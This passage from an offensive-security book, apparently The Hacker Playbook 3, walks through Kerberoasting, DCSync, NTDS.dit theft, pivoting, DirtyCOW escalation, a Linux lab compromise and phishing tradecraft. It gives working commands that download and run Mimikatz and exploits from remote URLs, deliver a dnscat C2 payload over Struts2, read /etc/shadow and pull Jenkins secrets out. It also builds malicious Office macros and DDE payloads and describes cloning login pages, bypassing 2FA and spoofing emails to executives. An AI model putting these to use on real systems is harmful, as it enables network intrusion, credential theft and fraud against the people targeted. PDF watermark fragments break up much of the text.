aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
We could either use Empire (credentials/mimikatz/pth) or we can boot up the trusted
psexec, submit our hashes, and execute our custom payloads, as seen in the image below:
m
co
a.
ag
rm
ba
n-
As previously mentioned, this is the old way of moving laterally and is a rare find. If you
ar
are still looking at abusing Local Administrator accounts, but are in an environment that
has LAPS (Local Administrator Password Solution), you can use a couple of different
tools to pull them out of Active Directory. This assumes you already have a privileged
le
ldapsearch/]
This is a great way to keep moving laterally without burning your helpdesk useraccount.
om
Kerberos in Windows. However, you should know that the Domain Controller typically
acts as the Ticket Granting Server; and users on the network can request Ticket Granting
Tickets to gain access to resources.
.c
What is the Kerberoast attack? As an attacker, we can request Kerberos service tickets for
ga
any of the SPNs of a target service account that we pulled earlier. The vulnerability lies in
the fact that when a service ticket is requested from the Domain Controller, that ticket is
encrypted with the associated service user’s NTLM hash. Since any ticket can be
ma
requested by any user, this means that, if we can guess the password to the associated
service user’s NTLM hash (that encrypted the ticket), then we now know the password to
the actual service account. This may sound a bit confusing, so let’s walk through an
r
example.
ba
Similar to what we did before, we can list all the SPN services. These are the service
accounts for which we are going to pull all the Kerberos tickets:
n-
We can either target a single user SPN or pull all the user Kerberos tickets into our user’s
memory:
Targeting a single User:
le
ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local”
Pulling All User Tickets into Memory
powershell Add-Type -AssemblyName System.IdentityModel;
ww
IEX (New-Object
Net.WebClient).DownloadString(“https://raw.githubusercontent.com/nide
| ForEach-Object {try{New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList $_.ServicePrincipalName}catch{}}
Of course, you can also do this with PowerSploit:
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-
Kerberoast/
om
.c
ga
If successful, we have imported either one or many different Kerberos tickets into our
victim computer’s memory. We now need a way to extract the tickets. To do this, we can
use good ol’ Mimikatz Kerberos Export:
ma
powershell.exe -exec bypass IEX (New-Object
Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’); Invoke-Mimikatz -
Command ’”““kerberos::list /export”””’
r
ba
n-
Once we export the tickets, they will reside on our victim’s machine. We will have to
download them off of their systems before we can start cracking them. Remember that the
tickets are encrypted with the service account’s NTLM hash. So, if we can guess that
ar
NTLM hash, we can read the ticket, and now know the service account’s password as
well. The easiest way to crack accounts is using a tool called tgsrepcrack (JTR and
Hashcat do also support cracking Kerberoast, which we will talk about in a second).
le
Using Kerberoast to crack tickets:
w.
cd /opt/kerberoast
python tgsrepcrack.py [password wordlist] [kirbi tickets - *.kirbi]
ww
In this case, the password for the service account csk-github was “P@ssw0rd!”
Of course, there is a PowerShell module in Empire that does all the hard work for us. This
is located under powershell/credentials/invoke_kerberoast
( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 ).
You can output the results in John the Ripper or even Hashcat formats to crack the
passwords. I have previously had some issues running the PowerShell script in very large
environments, so the fallback is to use PowerShell and Mimikatz to pull all the tickets
down.
m
co
a.
ag
rm
ba
r n-
l ea
w.
ww
Dumping the Domain Controller Hashes
Once we have obtained Domain Administrative access, the old way to pull all the hashes
from the DC was to run commands on the domain controller and use Shadow Volume or
Raw copy techniques to pull off the Ntds.dit file.
om
Reviewing the Volume Shadow Copy Technique
Since we do have access to the file system and can run commands on the domain
controller, as an attacker, we want to grab all the Domain hashes stored in the Ntds.dit
.c
file. Unfortunately, that file is constantly being read/written to and even as system, we do
not have access to read or copy that file. Luckily for us, we can take advantage of a
Windows feature called Volume Shadow Copy Service (VSS), which will create a
ga
snapshot copy of the volume. We can then read the Ntds.dit file from that copy and pull it
off the machine. This would include stealing the Ntds.dit, System, SAM, and Boot Key
files. Lastly, we need to clean our tracks and delete the volume copy:
C:\vssadmin create shadow /for=C:
r ma
copy \?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows
ba
.
copy \?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows
n-
.
copy \?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows
ar
.
reg SAVE HKLM\SYSTEM c:\SYS
vssadmin delete shadows /for= [/oldest | /all | /shadow=]
le
NinjaCopy
w.
DACL’s, read handle locks, and SACL’s. You must be an administrator to run the script.
This can be used to read SYSTEM files which are normally locked, such as the NTDS.dit
file or registry hives.” [http://bit.ly/2HpvKwj]
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination
“c:\windows\temp\ntds.dit”
DCSync
Now that we have reviewed the old methods of pulling hashes from the DC—which
required you to run system commands on the DC and generally drop files on that machine
—let’s move onto the newer methods. More recently, DCSync, written by Benjamin
Delpy and Vincent Le Toux, was introduced and changed the game on dumping hashes
from Domain Controllers. The concept of DCSync is that it impersonates a Domain
Controller to request all the hashes of the users in that Domain. Let that sink in for a
second. This means, as long as you have permissions, you do not need to run any
m
commands on the Domain Controller and you do not have to drop any files on the DC.
co
For DCSync to work, it is important to have the proper permissions to pull hashes from a
Domain Controller. Generally limited to the Domain Admins, Enterprise Admins,
a.
Domain Controllers groups, and anyone with the Replicating Changes permissions set to
Allow (i.e., Replicating Changes All/Replicating Directory Changes), DCSync will allow
your user to perform this attack. This attack was first developed in Mimikatz and could be
ag
run with the following command:
Lsadump::dcsync /domain:[YOUR DOMAIN] /user:
[Account_to_Pull_Hashes]
rm
Even better, DCSync was pulled into tools like PowerShell Empire to make it even easier.
ba
Module for Empire: powershell/credentials/mimikatz/dcsync_hashdump
n-
ar
le
w.
ww
Looking at the DCSync hashdump, we see all the NTLM hashes for the users in Active
Directory. Additionally, we have the krbtgt NTLM hash, which means we now (or in
future campaigns) can perform Golden Ticket attacks.
ww
w.
le
ar
n-
ba
rm
ag
a.
co
m
Lateral Movement via RDP over the VPS
In today’s world, with a ton of Next Gen AV, running WMI/PowerShell Remoting/PSExec
laterally between computers isn’t always the best option. We are also seeing that some
organizations are logging all Windows Command prompts. To get around all of this, we
sometimes need to go back to basics for lateral movement. The issue with using VPS
servers is that it is only a shell with no GUI interface. Therefore, we will
m
route/proxy/forward our traffic from our attacker host, through the VPS, through our
co
compromised hosts, and finally laterally to our next victim. Luckily for us, we can use
native tools to accomplish most of this.
a.
ag
rm
ba
r n-
ea
First, we will need to set up a VPS server, enable ports from the internet, configure
Metasploit with PTF, and infect your initial victim with Meterpreter. We could do this
with Cobalt Strike or other frameworks, but we will use Meterpreter in this case.
l
w.
We can take advantage of the default SSH client by using Local Port Forwarding (-L). In
this scenario, I am using my Mac, but this could be done on a Windows or Linux system
as well. We are going to connect to our VPS over SSH using our SSH key. We are also
ww
going to configure a local port, in this case 3389 (RDP), on our attacker machine to
forward any traffic made to that port to our VPS. When that traffic over that port is
forwarded to our VPS, it will then send that traffic to localhost on port 3389 on the VPS.
Finally, we need to set up a port listening on our VPS on port 3389 and set up a port
forward through our compromised victim using Meterpreter’s port forward feature to route
to our victim’s system.
1. Infect our victim with a Meterpreter payload.
2. SSH from our attacker machine and set up the Local Port Forward on our
attacker system (listen on port 3389 locally) to send all traffic destined for that
port to the VPS’s localhost port on 3389.
ssh -i key.pem ubuntu@[VPS IP] -L
127.0.0.1:3389:127.0.0.1:3389
3. Set up a port forward on the Meterpreter session to listen on the VPS on port
3389 and send that traffic through our Infected Machine to the next lateral
m
movement server
portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address]
co
4. On our Attacker Machine, open our Microsoft Remote Desktop Client, set
your connection to your own localhost - 127.0.0.1 and enter the Victim’s
credentials to connect via RDP.
a.
ag
rm
ba
n-
ar
le
w.
ww
Pivoting in Linux
Pivoting in Linux hasn’t changed too much over the years. Usually if you are using
something like dnscat2 or Meterpreter, they all support their own forwarding.
dnscat2:
listen 127.0.0.1:9999 <target_IP>:22
m
Metasploit
post/windows/manage/autoroute
co
Metasploit Socks Proxy + Proxychains
use auxiliary/server/socks4a
Meterpreter:
a.
portfwd add –l 3389 –p 3389 –r <target_IP>
ag
If you are lucky to get an SSH shell, there are a number of ways we can pivot through that
system. How might we get an SSH shell? In many cases, once we get either Local File
Inclusion (LFI) or Remote Code Execution (RCE), we can try to privilege escalate to read
the /etc/shadow file (and password crack) or we can pull some Mimikatz style trickery.
rm
Just like Windows and Mimikatz, Linux systems also run into the same issue where
ba
passwords are be stored in clear text. A tool written by @huntergregal dumps specific
processes that have a high probability of containing the user’s passwords in clear text.
Although this only works on a limited number of Linux systems to date, the same
n-
concepts can be used across the board. You can see exactly what systems and from where
passwords are being grabbed here:
https://github.com/huntergregal/mimipenguin.
ar
le
w.
Once we get credentials on our compromised hosts and can SSH back in, we can tunnel
our traffic and pivot between boxes. Within SSH, we have some great features that allow
us to perform this pivoting:
ww
Setting up Dynamic Sock Proxy to use proxychains to pivot all of our traffic
through our host:
ssh -D 127.0.0.1:8888 -p 22 <user>@<Target_IP>
Basic Port Forwards for a single port:
ssh <user>@<Target_IP> -L 127.0.0.1:55555:
<Target_to_Pivot_to>:80
VPN over SSH. This is an awesome feature that makes it possible to tunnel
layer 3 network traffic of SSH.
http://bit.ly/2EMpPfb
ww
w.
le
ar
n-
ba
rm
ag
a.
co
m
Privilege Escalation
Linux Privilege escalation is just like Windows, for the most part. We look for vulnerable
services that we can write to, sticky bit misconfigurations, passwords in flat files, world-
writable files, cronjobs, and, of course, patching issues.
m
In terms of effectively and efficiently parsing a Linux box for privilege escalation issues,
we can use a few tools to do all the legwork for us.
co
Before we do any sort of privilege escalation exploits, I like to first get a good read on the
a.
Linux host and identify all the information about the system. This includes users,
services, cronjobs, versions of software, weak creds, misconfigured file permissions, and
even docker information. We can use a tool called LinEnum to do all the dirty work for us
ag
(https://github.com/rebootuser/LinEnum).
rm
ba
r n-
l ea
w.
ww
This is a very long report on everything you could ever want to know about the underlying
system and is great to have for future campaigns.
Once we gain information about the system, we try to see if we can exploit any of these
vulnerabilities. If we can’t find any sticky bit vulnerabilities or abuse misconfigurations in
services/cronjobs, we go straight for exploits on the system/applications. I try to do these
last as there is always a potential possibility to halt/brick the box.
We can run a tool called linux-exploit-suggester (https://github.com/mzet-/linux-exploit-
suggester) to analyze the host system and identify missing patches and vulnerabilities.
Once a vulnerability is identified, the tool will also provide you with a link to the PoC
exploit.
co
a.
ag
rm
ba
r n-
ea
Now, what are we looking for to exploit? This is where experience and practice really
come into play. In my lab, I will have a huge number of different Linux versions
l
configured to validate that these exploits won’t crash the underlying system. One of my
favorite vulnerabilities in this scenario is DirtyCOW.
w.
DirtyCOW is “a race condition was found in the way Linux kernel’s memory subsystem
ww
handled breakage of the read only private mappings COW situation on write access. An
unprivileged local user could use this flaw to gain write access to otherwise read only
memory mappings and thus increase
their privileges on the system.” [https://dirtycow.ninja/]
In short, this vulnerability allows an attacker to go from a non-privileged user to root via
kernel vulnerabilities. This is the best type of privilege escalation we could ask for! The
one issue though is that it is known to cause kernel panics, so we have to make sure to use
the right versions on the right Linux kernels.
Testing DirtyCOW on Ubuntu (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64):
Download the DirtyCOW payload
wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
om
Compile the DirtyCOW payload
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
Run DirtyCOW to get to system
.c
./dirtycow-mem
Turn off periodic writeback to make the exploit stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
ga
Try reading the shadow file
cat /etc/shadow
ma
ar
n -b
ar
le
w.
ww
Linux Lateral Movement Lab
The problem with lateral movement is that it is hard to practice without having an
environment set up to pivot. So, we present you the CSK Secure Network Lab. In this
lab, you are going to pivot between boxes, use recent exploits and privilege escalation
attacks, and live off the land in a Linux environment.
m
Setting Up the Virtual Environment
co
The setup for this virtual environment lab is slightly complex. This is because the
network is going to require three different static virtual machines to run and there is some
a.
prior setting up required on your part. All this is tested in VMWare Workstation and
VMware Fusion, so if you are using VirtualBox, you might have to play around with it.
ag
Download the Three Virtual Machines:
http://thehackerplaybook.com/get.php?type=csk-lab
rm
Although you should not need the root accounts for these boxes, here is the
username/password, just in case: hacker/changeme.
ba
All three of the virtual machines are configured to use the NAT Networking Interface. For
this lab to work, you will have to configure your Virtual Machine’s NAT settings in
VMWare to use the 172.16.250.0/24 network. To do this in Windows VMWare
n-
Workstation:
In the menu bar, go to Edit -> virtual network editor -> change settings
ar
co
Attacking the CSK Secure Network
You have finally pivoted your way out of the Windows environment into the secure
a.
production network. From all your reconnaissance and research, you know that all the
secrets are stored here. This is one of their most protected networks and we know they
have segmented their secure infrastructure. From their documentation, it looks like there
ag
are multiple VLANS to compromise and it seems you will have to pivot between boxes to
get to the vault database. This is everything you have trained for…
rm
Pivoting to the outside of the Secure Network area, you see that the network range
configured for this environment is in the 172.16.250.0/24 network. Since you don’t know
ba
too much about this network, you start by kicking off some very light nmap scans. You
need to identify which systems are accessible from outside this network in order to
determine how you can start your attack.
n-
Scan the Secure Network:
ar
nmap 172.16.50.0/24
le
You notice there are three boxes up and running, but only one of them has web ports
enabled. It looks like the other two boxes are isolated from outside the secure network,
which means we will have to compromise the 172.16.250.10 box first to be able to pivot
into the other two servers. Visiting the first box (172.16.250.10), you see that Apache
w.
Tomcat is listening on port 8080 and some openCMS is on port 80. Running a web fuzzer
you notice that the openCMS page is also running Apache Struts2 (/struts2-showcase).
Instantly, flashbacks of the Equifax breach hit you like a brick. You think to yourself, this
ww
is too good to be true, but you have to check anyway. You run a quick search on
msfconsole and test the exploit “struts2_content_type_ognl”.
om
.c
ga
We know that CSK heavily monitors their protected network traffic and their internal
servers may not allow direct access to the corporate network. To get around this, we are
ma
going to have to use our DNS C2 payload with dnscat2 to communicate over UDP instead
of TCP. Of course in the real world, we might use an authoritative DNS server, but for lab
sake, we will be our own DNS server.
r
ba
Metasploit payload grab the dnscat malware. Inside the dnscat2 client folder
is the dnscat binary.
cd /opt/dnscat2/client/
ar
python -m SimpleHTTPServer 80
Start a dnscat server
cd /opt/dnscat2/server/
le
ruby ./dnscat2.rb
Record your secret key for dnscat
w.
ww
m
co
a.
Open a New Terminal and load Metasploit
ag
msfconsole
Search for struts2 and load the struts2 exploit
search struts2
use exploit/multi/http/struts2_content_type_ognl
rm
Configure the struts2 exploit to grab our dnscat payload and execute on the
victim server. Make sure to update your IP and secret key from before.
set RHOST 172.16.250.10
ba
set RPORT 80
set TARGETURI struts2-showcase/showcase.action
set PAYLOAD cmd/unix/generic
n-
run
Once the payload executes, you will not get any sort of confirmation in
Metasploit as we used a dnscat payload. You will need to check your dnscat
le
shell
Go back to the main menu with the keyboard buttons
ctrl + z
-
w .l
ww
You have compromised the OpenCMS/Apache Struts server! Now what? You spend
some time reviewing the server and looking for juicy secrets. You remember that the
server is running the OpenCMS web application and identify that the app is configured
under /opt/tomcat/webapps/kittens. In reviewing the configuration file of the OpenCMS
properties, we find the database, username, password, and IP address of 172.16.250.10.
om
Retrieving the database information:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
.c
ga
ma
ar
-b
We connect to the database, but we do not see much. The problem is that we are currently
ar
a limited tomcat user, which is really hindering our attack. Therefore, we need to find a
way to escalate. Running post exploitation reconnaissance (uname -a && lsb_release -a)
on the server, you identify that this is a pretty old version of Ubuntu. Luckily for us, this
le
cd /tmp
wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
./dirtycow-mem
Try to keep the DirtyCOW exploit stable and allow reboots for kernel panics
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 >
/proc/sys/kernel/panic_on_oops&& echo 1 >
/proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 >
/proc/sys/kernel/panic_on_io_nmi && echo 1 >
/proc/sys/kernel/panic_on_warn
whoami
om
.c
ga
r ma
ba
n-
Note: DirtyCOW is not a very stable privilege escalation. If you are having problems with
your exploit, check out my GitHub page for a more stable process of creating a setuid
binary here:
ar
https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab
If you are still having problems, the other option is to log into the initial server
over SSH and execute the dnscat payload as root. To log in, use the
le
Now, you have become root on the system due to the lack of patching on the host system.
As you start pillaging the box for secrets again, you come across root’s bash history file.
Inside this file you find an SSH command and private SSH key reference. We can take
this SSH key and log into our second box, 172.16.250.30:
ww
cat ~/.bash_history
head ~/.ssh/id_rsa
ssh -i ~/.ssh/id_rsa [email protected]
om
.c
ga
r ma
ba
You spend some time on the second box and try to understand what it is used for.
Searching around, you notice there is a Jenkins user in the /home directory, which leads
you to identify a Jenkins service running on port 8080. How can we use our browser to
n-
see what’s on the Jenkins server? This is where dnscat’s port forward feature comes into
play. We need to back out of our initial shell and go to the command terminal. From
there, we need to set up a listener to forward our traffic from our attacker machine,
ar
through the dnscat, to the Jenkins box (172.16.250.30) over port 8080.
Execute a dnscat port forward:
le
On your THP Kali VM, go to a browser and use our port forward (it will be
very slow over DNS):
http://127.0.0.1:8080/jenkins
om
.c
ga
Inside the credential manager within the Jenkins app, we are going to see that the
db_backup user password is stored, but not visible. We need to figure out a way to get this
r ma
credential out of Jenkins, so that we can continue to move laterally.
ba
n-
ar
le
n00py did some great research on stored credentials within Jenkins and how to extract
w.
them (http://bit.ly/2GUIN9s). We can take advantage of this attack using our existing
shell and to grab the credentials.xml, master.key, and hudson.util.Secret files.
ww
Go back to the main menu in dnscat and interact with your original shell
Ctrl + z
window -i 2
Go to the Jenkins’ home directory and grab the three files: credentials.xml,
master.key, and hudson.util.Secret.
cd /home/Jenkins
We can either try to download these files off or we could base64 these files
and copy them off via the current shell.
base64 credentials.xml
base64 secrets/hudson.util.Secret
base64 secrets/master.key
We can copy the base64 output back onto our Kali box and decode them to
reverse the password for the db_backup user.
cd /opt/jenkins-decrypt
echo “<base64 hudson.util.Secret>” | base64 —decode >
m
hudson.util.Secret
echo “<base64 master.key >” | base64 —decode > master.key
co
echo “<base64 credentials.xml >” | base64 —decode >
credentials.xml
Decrypt the password using https://github.com/cheetz/jenkins-decrypt
a.
python3 ./decrypt.py master.key hudson.util.Secret credentials.xml
ag
rm
ba
reason, performs some sort of backup against the database server. Let’s check if we can
take our credentials of db_backup: )uDvra{4UL^;r?*h to log into the database server via
SSH. The only problem is that through our dnscat shell, we don’t have direct standard
ar
input (STDIN) to interact with SSH’s password prompt. So, we will have to use our port
forward again to pass our SSH shell from our THP Kali VM, through the dnscat agent, to
the database server (172.16.250.50).
le
Go back to the command shell
w.
Ctrl + z
window -i 1
Create a new port forward to go from localhost to the database server at
ww
172.16.250.50
listen 127.0.0.1:2222 172.16.250.50:22
m
co
a.
Once on the database server (172.16.250.50) with the db_backup account, we notice that
this account is part of the sudoers file and can sudo su to root. Once root on the database
ag
server, we poke around, but can’t find any credentials to access the database. We could
reset the root DB password, but that might end up breaking some of the other
applications. Instead, we search for the different databases located under /var/lib/mysql
rm
and come across a cyberspacekittens database. Here, we find the secrets.ibd file that holds
all the data for the secrets table. As we read through the data, we realize that it might be
encrypted… It is up to you to figure out the rest…
ba
r n-
l ea
w.
ww
Congrats!!! You have successfully compromised the Cyber Space Kittens network!
Don’t stop here… There are many things you can do with these boxes; we have only
touched the surface. Feel free to play around on these systems, find more sensitive files,
figure out other ways to privilege escalate, and more. For reference, in this lab, the
environment topology is represented below:
ww
w.
lea
r n-
ba
rm
ag
a.
co
m
Conclusion
In this chapter, we went through Compromising the Network. We started either on the
network with no credentials or social engineered our way to our first victim box. From
there, we were able to live off the land, gain information about the network/systems, pivot
around boxes, escalate privileges, and ultimately compromise the whole network. This
was all accomplished with minimal scanning, using features of the network, and trying to
m
evade all sources of detection.
co
a.
ag
rm
ba
n-
ar
le
w.
ww
5 the screen - social engineering
m
co
a.
ag
rm
ba
rn-
ea
l
w.
ww
Building Your Social Engineering (SE) Campaigns
As Red Teamers, we love social engineering (SE) attacks. Not only because it can
generally comprise of low skillset attacks, but because it is also easy to craft a highly
trustworthy campaign at very low cost. Just set up a couple of fake domains, servers, craft
m
some emails, drop some USB sticks, and call it a day.
co
In terms of metrics, we capture the obvious things like the number of emails sent, number
of users who clicked on the link, and number of users that type in their password. We also
a.
try to get creative and bring substantive value to the companies who hire us. An example
of this is DefCon’s Social Engineering Competition, where competitors social engineer
call centers and employees. If you aren’t familiar with this competition, these competitors
ag
have a limited amount of time to find a number of flags based on the company. Flags can
be captured by gaining company information such as their VPN, what type of AV they
use, employee-specific information, or being able to get an employee to visit a URL, and
more. If you want to see all the flags used in the competition, check out the 2017
rm
competition report: http://bit.ly/2HlctvY. These types of attacks can help a company
increase internal awareness by teaching their employees how to spot evil and report them
to the proper teams.
ba
In this chapter, we are going to lightly touch on some of the tools and techniques we use to
n-
run our campaigns. With SE style attacks, there are no right or wrong answers. As long
as they work, it’s all good in our book.
ar
Doppelganger Domains
We talked a lot about this in THP2. This is still one of the most successful ways to get
le
that initial credential or drop malware. The most common technique is to purchase a
domain that is very similar to a company’s URL or is a common mistype of their URL.
w.
In the last book, we had an example where if we had mail.cyberspacekittens.com, we
would purchase the domain mailcyberspacekittens.com and set up a fake Outlook page to
ww
capture credentials. When the victims go to the fake site and type in their password, we
would collect that data and redirect them to the company’s valid email server
(mail.cyberspacekittens.com). This gives them the impression that they just accidentally
mistyped their password the first time and therefore proceed with their login once more.
The best part of all of this is that you don’t really have to do any phishing. Someone will
mistype or forget the period (.) between “mail” and “cyberspacekittens”, then type in their
credentials. We have had victims bookmark our malicious site and come back every day.
How to Clone Authentication Pages
One of the best tools to quickly clone web application authentication pages is the Social
Engineering Toolkit (SET) by TrustedSec. This is a standard tool for any SE campaign
where gaining credentials is a priority. You can download SET at
https://github.com/trustedsec/social-engineer-toolkit.
co
Setting Up SET
Configure SET to Use Apache (versus the default Python)
Modify the config file to the following
a.
gedit /etc/setoolkit/set.config
APACHE_SERVER=ON
APACHE_DIRECTORY=/var/www/html
ag
HARVESTER_LOG=/var/www/html
Start Social Engineering Toolkit (SET)
cd /opt/social-engineer-toolkit
rm
setoolkit
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
ba
Site to Clone
Open a Browser and go to your attacker server and test
ar
All files will be stored under /var/www/html and passwords under harvester*. Some best
practices when cloning pages for Social Engineering campaigns:
le
m
/examplesitecode/samplecode.php and input all the necessary parameters your
co
authentication requires
Victim falls for cloned site and authenticates
Credentials are pushed back to the attacker
a.
ReelPhish will authenticate to the Real Site, triggering 2FA
Victim receives 2FA code or phone push
Victim is redirected to the real site to log in again (thinking they failed the
ag
initial time)
As reflected in the following image, we should now have an authenticated session
rm
bypassing 2FA. Although it does looks like it supports Linux, I have had some issues
getting it to run in Kali. Running it in Windows is preferred. You can find more
information on ReelPhish on FireEye’s Website: https://www.fireeye.com/blog/threat-
ba
research/2018/02/reelphish-real-time-two-factor-phishing-tool.html.
n-
ar
le
w.
ww
There are a few other tools that handle different 2FA bypasses as well:
https://github.com/kgretzky/evilginx
https://github.com/ustayready/CredSniper
One thing I want to mention about authenticating to 2FA resources is to make sure you
verify all the different authentication methods once you have credentials. What I mean by
this is that they may have 2FA for the web authentication portal, but it might not be
required for APIs, older thick clients, or all application endpoints. We have seen many
applications require 2FA on common endpoints, but lack the security protection on other
parts of the application.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Phishing
Another technique where Red Teams have great success is traditional phishing. Phishing,
at its core, relies on either fear, urgency, or something that just sounds too good to be
true. Fear and urgency do work well and I am sure we have all seen it before. Some
examples of fear and urgency types of attacks include:
m
A fake email with a fraudulent purchase
Someone hacked into your email message
co
Email about tax fraud
a.
The issue with these general attacks is that we are noticing that corporate employees are
getting smarter and smarter. Usually, at least 1 out of every 10 emails for basic phish style
attack will get reported. In some cases, the numbers are much higher. This is where it is
ag
valuable for a Red Team to continually monitor these easy phish attacks to see if a
company is getting better at responding to these situations.
rm
For those looking for more automated attacks, we really like Gophish
(http://getgophish.com/documentation/). It is fairly easy to set up and maintain, supports
templates and HTML, and tracks/documents everything you need. If you are a fan of
ba
These automated tools are great for recording straightforward phishing campaigns. For
our target campaigns, we go with a more manual approach. For example, if we do some
ar
reconnaissance on the victim’s mail records and identify that the client is using Office 365,
then we can figure out how to build a very realistic campaign with that information.
Additionally, we try to find any leaked emails from that company, programs they might be
le
running, new features, system upgrades, mergers, and any other information that might
help.
w.
There are also times when we run more targeted executive campaigns. In these
campaigns, we try to use all the open source tools to search for information about people,
their properties, families and more. For example, if targeting an executive, we would
ww
search them on pipl.com, get their social media accounts, find out where their kids go to
school, and spoof an email from their school saying they need to open this word
document. These take a fair amount of time, but have high success rates.
m
Select Macro Stager
usestager windows/macro
co
Make sure to configure the proper settings
info
Create the Macro
a.
generate
If you want to create a Payload for Meterpreter, we can use a tool like
Unicorn:
ag
cd /opt/unicorn
./unicorn.py windows/meterpreter/reverse_https [your_ip] 443
macro
rm
Start a Metasploit Handler
msfconsole -r ./unicorn.rc
ba
Once generated, your payload will look something like the following:
n-
ar
le
w.
ww
As you can see, this is running a simple PowerShell base64 obfuscated script. This can
help get around some AV products, but it is important to make sure you test it well prior to
going on a live campaign. Once you generate a macro, you can create a quick Excel
document:
Open Excel
Go to the View Tab -> Macros -> View Macros
Add a Macro Name, configure the Macro for book1, and click Create
om
.c
ga
ma
Replace all the current Macro code with the generated code
Save as .xls (Word 97-2003) or Excel Macro-Enabled
r
ba
n-
ar
le
w.
Now, whenever anyone opens your document, they will get a Security Warning and a
button to Enable Content. If you can trick your victim into clicking the Enable Content
ww
button, your PowerShell script will execute, getting you an Empire Shell.
m
co
As previously mentioned, the Macro method is the old, tried and tested method, so many
a.
victims may already be aware of this attack. Another route we can take with Office Files
is embedding a batch file (.bat) with our payload. In the newer version of Office, objects
will not execute if the victim double clicks the .bat file within the Word document. We
ag
usually have to try to trick them to move it over to their desktop and execute.
rm
ba
n-
ar
le
inside Excel documents, which can be triggered using ReflectivePE to run all in memory.
Read more on LuckyStrike here:
https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator
ww
One last tool I want to mention for Office File executables is VBad
( https://github.com/Pepitoh/VBad ). When running VBad, you do have to enable macros in Office
and select the checkbox “Trust Access to the VBA
project object model” in the macro security settings. This allows the VBad python code to
change and create macros.
VBad heavily obfuscates your payloads within the MS Office document. It also adds
encryption, has fake keys to throw off IR teams, and best of all, it can destroy the
encryption key after the first successful run (a one-time use Malware). Another feature is
that VBad can also destroy references to the module containing effective payload in order
to make it invisible from VBA Developer Tool. This makes analysis and debugging much
harder. So, not only is it a total pain to reverse, but also if the incident response teams try
to analyze the executed Word document versus the original document, all the keys will be
m
missing.
co
a.
ag
rm
ba
r n-
l ea
One thing about Red Team attacks is that sometimes it is all about timing. During one of
our assessments, a brand new vulnerable called DDE was first announced. It wasn’t yet
detected by AV or any security product, so it was a great way to get our initial entry point.
ww
Although there are now several security products to detect DDEs, it could still be a viable
attack in some environments.
What is DDE?
“Windows provides several methods for transferring data between applications. One
method is to use the Dynamic Data Exchange (DDE) protocol. The DDE protocol is a set
of messages and guidelines. It sends messages between applications that share data and
uses shared memory to exchange data between applications. Applications can use the
DDE protocol for one-time data transfers and for continuous exchanges in which
applications send updates to one another as new data becomes available.”
[https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx]
The team at Sensepost did some great research and discovered that DDEExecute was
exposed by both MSExcel, and MSWord, and that they could be used to create code
m
execution without the use of Macros.
co
In Word:
a.
Go to Insert Tab -> Quick Parts -> Field
Choose = Formula
Right click on: !Unexpected End of Formula and select Toggle Field Codes
ag
Change the payload to your payload:
DDEAUTO c:\windows\system32\cmd.exe “/k powershell.exe
[empire payload here]”rm
ba
n-
ar
Empire has a stager that will auto-create the Word file and associated PowerShell script.
le
ww
Resources:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Are there any other features to abuse in Word documents other than 0-day exploits (i.e.
https://github.com/bhdresh/CVE-2017-0199)? The answer is yes. Although we won’t
cover it in this book, an example would be subdoc attacks
om
(https://rhinosecuritylabs.com/research/abusing-microsoft-word-features-phishing-
subdoc/). These attacks cause the victim to make an SMB request to an attacker server on
the internet in order to collect NTLM auth hashes. This may or may not work, as most
.c
corporations now block SMB related ports outbound. For those that don’t, we can use the
subdoc_inector (http://bit.ly/2qxOuiA) attack to take advantage of this misconfiguration.
ga
Hidden Encrypted Payloads
As Red Teamers, we are always looking for creative ways to build our landing pages,
ma
encrypt our payloads, and to trick users into clicking run. Two different tools with similar
processes are EmbededInHTML and demiguise.
ar
The first tool, EmbededInHTM, “takes a file (any type of file), encrypt it, and embed it
into an HTML file as resource, along with an automatic download routine simulating a
-b
user clicking on the embedded resource. Then, when the user browses the HTML file, the
embedded file is decrypted on the fly, saved in a temporary folder, and the file is then
presented to the user as if it was being downloaded from the remote site. Depending on the
n
user’s browser and the file type presented, the file can be automatically opened by the
